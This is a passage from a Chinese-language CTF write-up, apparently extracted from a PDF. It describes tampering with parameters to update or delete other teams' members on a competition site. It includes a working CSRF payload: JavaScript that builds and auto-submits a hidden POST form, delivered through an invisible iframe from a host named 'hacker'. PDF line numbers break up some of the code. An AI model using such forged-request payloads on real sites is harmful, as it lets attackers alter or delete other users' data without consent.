E6%8A%A5%E5%91%8A%E5%A4%A7%E7%8E%8B&stuID=2013123000&phone=18388888
&college=11&updateteam=UPDATE
```

只要带上对应的参数就可以修改 删除两个以上就没法成功 直接修改参数就可以了

改的麻麻都不认识了

尝试成功

```
1 udate：update 队友
2 user_id=131&name=Tomato&stuID=2013000000&phone=18300000000&college=
11&action=UPDATE
```

3

4 delete：删除队友

5 user_id=131&name=Tomato&stuID=2013000000&phone=18300000000.&college=11&action=DELETE

#原理都是差不多的 user_id 是固定的 可以通过循环来获取，删除掉所有的队友

构造 javascript 的 post：

```
01 <body>
02 <script>
  thisTHost = "http://hack.myclover.org/index.php/team";function
  PostSubmit(url, data, msg,aa,ss,dd,ff) {          var postUrl =
0 url;        var postData = data;          var msgData = msg;          var
3 ExportForm =
  document.createElement("FORM");          document.body.appendChild
  (ExportForm);          ExportForm.method = "POST";
  var newElement =
0 document.createElement("input");          newElement.setAttribute("
4 name", "team_leader");          newElement.setAttribute("type",
  "hidden");
  var newElement2 =
0 document.createElement("input");          newElement2.setAttribute(
5 "name", "slogan");          newElement2.setAttribute("type",
  "hidden");
  var newElement3 =
0 document.createElement("input");          newElement3.setAttribute(
6 "name", "stuID");          newElement3.setAttribute("type",
  "hidden");
  var newElement4 =
0 document.createElement("input");          newElement4.setAttribute(
7 "name", "phone");          newElement4.setAttribute("type",
  "hidden");
  var newElement5 =
0 document.createElement("input");          newElement5.setAttribute(
8 "name", "college");          newElement5.setAttribute("type",
  "hidden");
  var newElement6 =
0 document.createElement("input");          newElement6.setAttribute(
9 "name", "updateteam");          newElement6.setAttribute("type",
  "hidden");
```

```
    ExportForm.appendChild(newElement);          ExportForm.appendChil
  d(newElement2);   ExportForm.appendChild(newElement3);ExportForm.ap
1 pendChild
0 (newElement4);ExportForm.appendChild(newElement5);ExportForm.append
  Child(newElement6);      newElement.value =
  postData;          newElement2.value = msgData;
11 newElement3.value = aa;newElement4.value = ss;newElement5.value =
   dd;newElement6.value = ff;
12   ExportForm.action = postUrl;          ExportForm.submit(); }
1 PostSubmit(thisTHost,"AppLeU0","%E5%A5%BD%E7%9A%84%E5%A4%A7%E7%8E%8
3 B%2C%E6%8A%A5%E5%91%8A%E5%A4%A7%E7%8E%8B","2012123071","18380464523
  ","12","UPDATE");
14 </script>
15 </body>
```

感谢 roker 牛提供了代码哇
在 vps 上保存成 html，然后可以使用一个 iframe 标签

```
1 <iframe src=http://hacker/csrf.html WIDTH=0 HEIGHT=0></iframe>
```

后来还尝试使用 csrf 来获取别人的 key，不过好像因为有 token 在，所以不行。
最后给加上了 150 分

csrf 到了洋葱你好 洋葱再见 截图留念一下

Ox0F 后记

小伙伴们很给力哈，整理 writeup 也很辛苦，做题之后又是整整休息了两天，熬夜太累，在这次比赛中收获了很多哈，写不动了 writeup，本来还想说用 markdown 来弄的 pdf，不过工作量太大，只要是图片太多比较难插，看有没有时间搞出来。